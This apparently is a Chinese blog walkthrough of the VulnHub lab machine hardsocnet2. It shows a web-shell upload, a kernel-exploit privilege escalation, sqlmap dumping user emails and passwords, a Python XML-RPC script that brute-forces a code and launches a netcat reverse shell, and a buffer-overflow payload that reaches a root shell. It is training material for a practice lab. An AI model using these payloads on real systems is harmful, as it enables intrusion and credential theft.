kali之vulnhub,hardsocnet2

目录

一、环境配置问题

二、主机发现

1.arp-scan

2.arping

3.netdiscover

4.nmap

三、端口扫描

四、服务版本发现

五、登录web服务

1.8000端口

2.80端口

(1)80端口是个登录地址

(2)注册并登录,进行信息收集

 六、信息收集

1.界面

2.profile

七、antsword(蚁剑)

1.通过蚁剑来连接我们上传的后门文件

2.查看内核版本

 八、提权

1.上传文件

2.编译执行

3.反弹shell

九、主页下的sql注入

 1.在search框里还有一个sql注入点

2.抓包,sqlmap跑一下

(1)request的包保存到本地

(2)sqlmap

2.1跑下数据库

2.2 跑下表

2.3看下列

2.4看下user_password和user_email中的字段

一、信息收集

1.查看/etc/passwd

 2.查看monitor文件

 3.xmlrpc用法

二、利用monitor反弹shell

1.首先破解随机数

2.反弹shell

3.美化shell

三、信息收集

1.家目录

2.ls -l

3.查看add_record功能

四、gdb调试程序分析漏洞

1.发现缓冲区溢出

 2.判断缓冲区溢出位置

(1)自动生成每四个都不同的100个连续字符

(2)AHAA处溢出​编辑

(3)判断位置

(4)确认位置

 五、信息收集

1.查看调用的函数

 2.查看vuln

3.查看backdoor

六、执行backdoor

1.生成一个参数列表

2.调试执行

3.执行

4.反弹shell


一、环境配置问题

这次在导入靶场的时候,由于各种问题,就卸载了一次,但再次安装时,显示无法导入,经过一番搜索,发现是虚拟硬盘没有删除干净,将原先创建的虚拟硬盘删除后,再次导入,即可导入成功

二、主机发现

靶机和kali位于同一网段,总结下四种方法。

1.arp-scan

sudo arp-scan -l

2.arping

由于这个arping是对单个ip进行发包的,所以简单写个循环

for i in $(seq 1 254);do sudo arping -c 2 192.168.43.$i;done

3.netdiscover

sudo netdiscover -r 192.168.43.27/16

4.nmap

sudo nmap -sn ip/子网掩码

三、端口扫描

四、服务版本发现

五、登录web服务

1.8000端口

8000端口页面报错,写的不支持get请求方法,我们可以用burpsuite抓包后,来尝试别的登陆方式,如option,post等,发现还是无用

2.80端口

(1)80端口是个登录地址

(2)注册并登录,进行信息收集

 六、信息收集

1.界面

是一个留言板,我们输入的信息会输出到下面,上栏有一系列的功能框

2.profile

这里面可以上传头像,并且可以查看到路径地址,并且可以上传一个一句话木马,

七、antsword(蚁剑)

1.通过蚁剑来连接我们上传的后门文件

2.查看内核版本

uname -a

查看具体版本

lsb_release -a

 八、提权

使用ubuntu内核漏洞版本来提权

cve-2021-3493 ,github上可下载

1.上传文件

2.编译执行

发现可以执行,但是被exit退出了,提示是不能工作在这个shell上,蚁剑shell功能不够导致了提权失败,所以我们向kali端反弹shell来执行exp

3.反弹shell

用一个nc串联来反弹shell ,后执行exp,发现提权成功

九、主页下的sql注入

 1.在search框里还有一个sql注入点

2.抓包,sqlmap跑一下

(1)request的包保存到本地

(2)sqlmap

sqlmap -r r -p query

2.1跑下数据库

sqlmap -r r -p query --dbs

2.2 跑下表

sqlmap -r r -p query -D socialnetwork --tables

2.3看下列

sqlmap -r r -p query -D socialnetwoek -T users --columns

2.4看下user_password和user_email中的字段

sqlmap -r r -p query -D socialnetwork -T users -C user_email,user_password --dump

可以看到我们已经知道了邮箱号和对应的密码,并且这个SQLmap帮我们进行了hash解密。得到了 明文密码。


除了这种提权方式,我们还有另一种提权方式

一、信息收集

1.查看/etc/passwd

我们找到一个可以通过shell登录系统的用户

 我们可以看到admin账号留言的那个程序,并且用

ps aux | grep "monitor"

可以看到此程序正在运行

 2.查看monitor文件

简单分析python文件,上边导入库,之后random产生了一个随机数,下边定义了执行命令函数,几个写死的命令函数,和一个可控参数的命令函数(随机数与输入值相等执行命令)。server.register给这些函数注册可以调用,这些都是基于一个xmlrpc的库来实现的,所以我们去python库手册查看它的用法。

 3.xmlrpc用法

可以在库手册中找到一个示例:,接下来我们结合xmlrpc用法 利用monitor的可控变量函数

二、利用monitor反弹shell

1.首先破解随机数

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.43.65:8000/") as proxy:
    for a in range(1000,10000):
        result=str(proxy.secure_cmd("whoami",a))
        if not "Wrong" in result:
    	    print(a)

2.反弹shell

开启侦听端口,利用获得的随机数反弹shell

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.43.65:8000/") as proxy:
    a=6332
    str(proxy.secure_cmd("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.43.27 4444 >/tmp/f",a))

3.美化shell

python -c "import pty;pty.spawn('/bin/bash')"

三、信息收集

1.家目录

2.ls -l

寻找程序漏洞进行命令执行,利用add_record程序的suid权限继承来提权,peda是GBD调试脚本,可能存在内存溢出的;漏洞

3.查看add_record功能

发现是一个输入个人信息的程序

四、gdb调试程序分析漏洞

1.发现缓冲区溢出

gdb -q ./add_record

最终发现在explains处存在缓冲区溢出

 2.判断缓冲区溢出位置

(1)自动生成每四个都不同的100个连续字符

pattern create 100

(2)AHAA处溢出

(3)判断位置

pattern create AHAA

EIP寄存器的偏移量是62

(4)确认位置

命令终端执行

python -c "print('A'*62+'bcde')"

结果:

 五、信息收集

1.查看调用的函数

info func

其中system setuid backdoor这些内建函数值得我们注意,还有一个vuln自定义函数也应该引起我们的注意

 2.查看vuln

从这里面发现vuln引用了strcpy,而strcpy具有缓冲区漏洞。从而知道进程monitor的缓冲区溢出漏洞的根这里。

3.查看backdoor

这里用到了setuid和system,在main程序中并没有直接执行这个backdoor的命令,但是我们可以利用缓冲区溢出来执行这个backdoor

六、执行backdoor

1.生成一个参数列表

这样可以一次性执行程序,前四个参数,和最后一个explains

python2 -c "import struct; print('1\n1\n1\n1\n'+'A'*62 + struct.pack('I',0x08048676))" > payload

2.调试执行

我们可以看到两个/bin/bash和/bin/dash的shell,因为backdoor使用了suid权限继承,直接利用这个backdoor就可以获得一个root shell。

3.执行

cat payload -  | ./add_record

成功获得一个root的shell

4.反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.43.27 5555 >/tmp/f

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

梅_花_七

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值